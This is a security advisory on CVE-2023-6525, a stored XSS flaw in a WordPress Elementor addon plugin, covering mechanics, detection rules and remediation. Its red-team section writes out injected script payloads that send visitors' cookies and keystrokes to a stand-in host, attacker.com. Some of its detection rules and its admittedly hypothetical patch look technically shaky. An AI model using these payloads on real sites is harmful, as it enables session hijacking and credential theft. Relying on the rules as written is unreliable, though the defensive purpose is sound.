CVE-2023-6525

Executive Summary

CVE-2023-6525 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress, affecting all versions up to and including 3.0.3. The flaw resides in the progress bar element attributes, where insufficient input sanitization and output escaping allow authenticated attackers with editor-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page. The vulnerability primarily impacts multi-site installations and environments where the unfiltered_html capability has been disabled. With a CVSS score of 5.5 (Medium), this vulnerability poses a significant risk to WordPress ecosystems, enabling persistent client-side attacks such as session hijacking, credential theft, and defacement.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The ElementsKit plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – Attacker must have editor-level access.
• User Interaction (UI): Required – A user must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for persistent XSS in a widely-used plugin makes this a serious concern for WordPress administrators, especially in multi-site environments.

Deep Dive & Mechanics

The vulnerability exists in the progress bar widget of the ElementsKit plugin. The plugin fails to properly sanitize user-supplied input for attributes such as data-progress or custom CSS classes, and does not escape output when rendering these attributes in the frontend. An authenticated attacker with editor-level access can craft a malicious progress bar element containing JavaScript payloads within attribute values. When the page is rendered, the payload executes in the context of the victim’s browser.

Key Technical Details:

• Affected Component: elementskit/widgets/progress-bar/progress-bar.php (or similar)
• Root Cause: Lack of esc_attr() or wp_kses() sanitization on progress bar attributes.
• Exploitation Path: Attacker creates or edits a page/post, adds a progress bar widget, and injects a payload like "><script>alert('XSS')</script> into an attribute field.
• Impact: Stored XSS – payload persists in the database and executes for every visitor.

Vulnerable vs. Patched Code

Vulnerable Code (≤ 3.0.3):

// In progress-bar rendering function
echo '<div class="progress-bar" data-progress="' . $settings['progress_value'] . '">';
// No sanitization on $settings['progress_value']

Patched Code (Hypothetical):

// Properly escaped
echo '<div class="progress-bar" data-progress="' . esc_attr( $settings['progress_value'] ) . '">';
// Also consider using wp_kses_post() for rich content

Note: No official patch has been released as of this analysis. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress installation with ElementsKit ≤ 3.0.3
• Editor-level account credentials

Steps:

1. Log in as an editor.
2. Create a new page or edit an existing one.
3. Add the Progress Bar widget from ElementsKit.
4. In the Progress Value field, inject the following payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save and publish the page.
6. When any user (including admins) visits the page, the script executes, exfiltrating cookies.

Alternative Payload (Keylogger):

"><script>document.onkeypress=function(e){fetch('https://attacker.com/keylog?k='+e.key)}</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual progress bar values in page/post content.
2. Use WAF rules to block common XSS patterns in POST requests to wp-admin/post.php.
3. Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting Query (SQL):

SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%data-progress=%'
AND post_content LIKE '%<script%';

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files):
  • elementskit/widgets/progress-bar/progress-bar.php (MD5: UNKNOWN – verify against official source)
• Network Indicators:
  • Outbound connections to domains like attacker.com or IP addresses not in the organization’s allowlist.
• Log Entries:
  • Suspicious POST requests to /wp-admin/post.php containing data-progress with script tags.
• Database Artifacts:
  • Rows in wp_posts with post_content containing <script> tags within progress bar attributes.

Detection Engineering

YARA Rule

rule Detect_ElementsKit_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2023-6525 in ElementsKit progress bar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6525"
    strings:
        $payload1 = /data-progress\s*=\s*\"[^\"]*<script[^>]*>/
        $payload2 = /data-progress\s*=\s*\"[^\"]*on\w+\s*=/
    condition:
        any of them
}

Sigma Rule

title: ElementsKit Progress Bar XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2023-6525 via malicious progress bar attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'data-progress'
        cs-uri-query|re: '(<script|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in progress bar (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-6525 ElementsKit Progress Bar XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/post.php"; http_uri;
    content:"data-progress"; http_client_body;
    pcre:"/(<script|on\w+=)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2023-6525;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the ElementsKit plugin until a patch is available.
2. Restrict editor-level access to trusted users only.
3. Enable unfiltered_html capability only for super admins (if multi-site).

Long-term Fix:

• Apply input sanitization using esc_attr() and wp_kses() on all user-supplied attributes.
• Implement output escaping with esc_html() or wp_kses_post().
• Regularly update the plugin from the official repository.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS patterns.
• Add the following to .htaccess to restrict POST data:

  RewriteCond %{REQUEST_METHOD} POST
  RewriteCond %{QUERY_STRING} (data-progress.*<script) [NC]
  RewriteRule .* - [F,L]
  

Valters IT – Securing digital ecosystems through intelligence-driven defense.